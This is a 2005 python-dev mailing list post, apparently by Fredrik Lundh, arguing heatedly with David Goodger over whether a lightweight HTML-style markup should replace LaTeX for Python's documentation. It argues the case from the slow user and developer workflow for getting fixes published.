> [David Goodger] > >> Could be. I don't see HTML+PythonDoc as a significant improvement > >> over LaTeX. > > [Fredrik Lundh] > > Really? > > Yes, really. Your reply makes it obvious that you don't understand the issues involved here, nor how the goals address them. (Snipping heavily below due to lack of time; if you want some other argument refuted, you have to repost and wait until next week.) > Another goal is highly biased toward XML-style markup: > > * Make it trivial to do basic rendering to HTML (a few re.sub > calls should suffice), to enable simple tools (CGI scripts, etc) > to be able to render reference documentation. > > This is the tail wagging the dog. No, it's a fundamental goal: to support light-weight generation of rendered markup directly from source code, to enable simple tools (CGI scripts, etc) to be able to render reference documentation. The issue this is addressing is that the current workflow is way too heavy; when I made my first post, it typically took 3-6 months for a contribution to the documentation to appear on python.org. Thanks to Trent and Neal, the situation is a bit better today, but it's far from ideal. (More on this below). > The second sentence lacks a rationale. What's wrong with "-- dashes"? > What's "silly" about "``quotes''"? I'd say that the fact that you're asking this should disqualify you from ever working on documentation tools again... don't you know *anything* about typography ? > The reference to ReST is wrong here; ReST certainly can know the > semantics of a given identifier. > I don't think you understand ReST except superficially. That's why I'm listening to people who've tried to use ReST for this pur- pose. They've all failed. Maybe they also only understood ReST super- ficially. Or maybe it's because ReST is created by people who have a very shallow understanding of the issues involved in writing structured reference documentation. Your guess is as good as mine. > My bias is simple: I am against wasting the time and effort required > to replace one form of verbose markup with a different but equivalent > form. The proposed solution is no better than the status quo. Support for quick turnaround, edit via the web, richer semantic information, and a larger existing toolbase isn't better than the status quo ? Sounds more like a ReSTian sour-grapes (or scorched-earth) approach than a serious argument from someone who's interested in improving the Python documentation. >. The problem is that the WORKFLOW doesn't work. Quoting from an earlier post (you have read the earlier discussion, right?): If an ordinary user finds a minor issue, a typo, or an error in the documentation, the current user workflow is: 1) (optionally) cut and paste the text to an editor, edit, and save to disk 2) go to the sourceforge site, and locate the python project 3) (optionally) sign up for a sourceforge account 4) log in to your sourceforge account 5) open a new bug or patch issue, and attach your suggestion 6) wait 3-6 months for someone to pick up your patch, and for the next documentation release to appear on the site to which can be added: If a developer finds a minor issue, a typo, or an error in the documentation, the current developer workflow is: If logged in to a machine with a full Python development environment: 1) sync the project 2) locate the right source file 3) edit, and save to disk 4) (optionally) regenerate the documentation and inspect it (3-6 minutes if you have the toolchain installed) 5) commit the change (alternatively, generated a patch; see 2-5 above) 6) wait up to 12 hours for the updated text to appear on the developer staging area on python.org, and 3-6 months for the next documentation release to appear on the site If no access to a Python development environment: 1) (optionally) cut and paste the text to an editor, edit, and save to disk 2) write note or mail to self (or generated a patch; see user instructions above) 3) at an unspecified later time, try to remember what you did, and follow the developer instructions above. wait 3-6 months for the next doc release to appear on the site. I'm not arguing that a change of markup will solve this; I'm saying that a a light-weight toolchain will make it possible to cut this down to 3-6 seconds (plus optional moderation overhead for ordinary users). If people get feedback, they contribute. The need for a light-weight markup language follows from this; to eliminate as much overhead as possible, - the semantic model should match the reader's understanding of the target domain (in this case, the contents of Python library namespace) - the markup closely reflect the underlying semantic model - it should be *understandable* and *modifiable* (so you can tweak and copy constructs you see in the source, rather than having to look them up in a huge reference manual) - and it should be easy to parse for both machines and humans. It's the workflow that's the real problem here, but you cannot fix the workflow without fixing the markup. > > We know that you have big hats over in ReST-land; now show us some > > cattle. > > Moo. Or would you prefer the Buddhist "mu"? > What *are* you talking about? I assume this means that we're going to keep getting more "ReST can certainly do this but we're not going to show anyone how" posts from the ReST camp ? </F> | http://mail.python.org/pipermail/python-dev/2005-December/059311.html | crawl-002 | refinedweb | 939 | 57.71 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.